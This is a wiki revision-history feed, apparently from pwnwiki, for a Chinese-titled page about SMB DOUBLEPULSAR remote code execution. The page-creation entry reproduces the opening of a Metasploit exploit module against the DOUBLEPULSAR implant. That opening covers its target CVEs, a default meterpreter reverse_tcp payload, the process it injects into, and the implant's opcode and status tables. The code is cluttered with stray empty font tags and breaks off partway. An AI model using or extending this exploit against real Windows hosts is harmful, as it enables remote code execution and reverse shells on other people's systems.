<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=SMB_DOUBLEPULSAR%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>SMB DOUBLEPULSAR遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=SMB_DOUBLEPULSAR%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=SMB_DOUBLEPULSAR%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-05T07:06:28Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=SMB_DOUBLEPULSAR%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=105&amp;oldid=prev</id>
		<title>Pwnwiki: /* EXP */</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=SMB_DOUBLEPULSAR%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=105&amp;oldid=prev"/>
		<updated>2021-03-01T02:01:29Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;EXP&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 02:01, 1 March 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;{| style=&amp;quot;margin: auto; width: 750px;&amp;quot;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;{| style=&amp;quot;margin: auto; width: 750px;&amp;quot;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;| style=&amp;quot;text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;&amp;quot; |&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;| style=&amp;quot;text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;&amp;quot; |&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;{| cellspacing=&amp;quot;2px&amp;quot;  &lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;{| cellspacing=&amp;quot;2px&amp;quot;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;| valign=&amp;quot;middle&amp;quot; | [[Image:Book.png|50px]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;| valign=&amp;quot;middle&amp;quot; | [[Image:Book.png|50px]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;| 這個頁面的內容缺少參考，無法保證內容的準確性。&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;| 這個頁面的內容缺少參考，無法保證內容的準確性。&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l9&quot; &gt;Line 9:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 9:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==EXP==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==EXP&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;:&lt;/ins&gt;==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;##&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;##&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l407&quot; &gt;Line 407:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 406:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;#  0day.today [2020-03-20]  #&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;#  0day.today [2020-03-20]  #&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==作者：==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==作者：==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Metasploit&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Metasploit&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-104:rev-105 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=SMB_DOUBLEPULSAR%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=104&amp;oldid=prev</id>
		<title>Pwnwiki: 建立內容為「{| style=&quot;margin: auto; width: 750px;&quot; | style=&quot;text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;&quot; | {| cellspacing=&quot;2px&quot;  | vali…」的新頁面</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=SMB_DOUBLEPULSAR%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=104&amp;oldid=prev"/>
		<updated>2021-03-01T02:01:03Z</updated>

		<summary type="html">&lt;p&gt;建立內容為「{| style=&amp;quot;margin: auto; width: 750px;&amp;quot; | style=&amp;quot;text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;&amp;quot; | {| cellspacing=&amp;quot;2px&amp;quot;  | vali…」的新頁面&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{| style=&amp;quot;margin: auto; width: 750px;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;&amp;quot; |&lt;br /&gt;
{| cellspacing=&amp;quot;2px&amp;quot; &lt;br /&gt;
| valign=&amp;quot;middle&amp;quot; | [[Image:Book.png|50px]]&lt;br /&gt;
| 這個頁面的內容缺少參考，無法保證內容的準確性。&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
##&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  Rank = GreatRanking&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  include Msf::Exploit::Remote::SMB::Client&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  include Msf::Module::Deprecated&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  moved_from 'exploit/windows/smb/doublepulsar_rce'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  MAX_SHELLCODE_SIZE = 4096&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def initialize(info = {})&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    super(update_info(info,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Name'               =&amp;gt; 'SMB DOUBLEPULSAR Remote Code Execution',&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Description'        =&amp;gt; %q{&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        This module executes a Metasploit payload against the Equation Group's&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        While this module primarily performs code execution against the implant,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        the &amp;quot;Neutralize implant&amp;quot; target allows you to disable the implant.&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      },&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Author'             =&amp;gt; [&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'Equation Group', # DOUBLEPULSAR implant&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'Shadow Brokers', # Equation Group dump&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'zerosum0x0',     # DOPU analysis and detection&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'Luke Jennings',  # DOPU analysis and detection&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'wvu',            # Metasploit module and arch detection&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'Jacob Robles'    # Metasploit module and RCE help&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      ],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'References'         =&amp;gt; [&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['MSB', 'MS17-010'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['CVE', '2017-0143'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['CVE', '2017-0144'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['CVE', '2017-0145'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['CVE', '2017-0146'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['CVE', '2017-0147'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['CVE', '2017-0148'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['URL', 'https://github.com/countercept/doublepulsar-detection-script'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      ],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'DisclosureDate'     =&amp;gt; '2017-04-14', # Shadow Brokers leak&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'License'            =&amp;gt; MSF_LICENSE,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Platform'           =&amp;gt; 'win',&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Arch'               =&amp;gt; ARCH_X64,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Privileged'         =&amp;gt; true,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Payload'            =&amp;gt; {&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'Space'            =&amp;gt; MAX_SHELLCODE_SIZE - kernel_shellcode_size,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'DisableNops'      =&amp;gt; true&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      },&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Targets'            =&amp;gt; [&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['Execute payload (x64)',&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          'DefaultOptions' =&amp;gt; {&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
            'EXITFUNC'     =&amp;gt; 'thread',&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
            'PAYLOAD'      =&amp;gt; 'windows/x64/meterpreter/reverse_tcp'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          }&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ['Neutralize implant',&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          'DefaultOptions' =&amp;gt; {&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
            'PAYLOAD'      =&amp;gt; nil # XXX: &amp;quot;Unset&amp;quot; generic payload&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          }&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ]&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      ],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'DefaultTarget'      =&amp;gt; 0,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      'Notes'              =&amp;gt; {&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'AKA'              =&amp;gt; ['DOUBLEPULSAR'],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'RelatedModules'   =&amp;gt; [&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          'auxiliary/scanner/smb/smb_ms17_010',&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          'exploit/windows/smb/ms17_010_eternalblue'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        ],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'Stability'        =&amp;gt; [CRASH_OS_DOWN],&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        'Reliability'      =&amp;gt; [REPEATABLE_SESSION]&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      }&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    ))&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    register_advanced_options([&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      OptBool.new('DefangedMode',  [true, 'Run in defanged mode', true]),&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    ])&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  OPCODES = {&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    ping: 0x23,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    exec: 0xc8,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    kill: 0x77&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  }.freeze&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  STATUS_CODES = {&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    not_detected:   0x00,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    success:        0x10,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    invalid_params: 0x20,&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    alloc_failure:  0x30&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  }.freeze&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def calculate_doublepulsar_status(m1, m2)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    STATUS_CODES.key(m2.to_i - m1.to_i)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
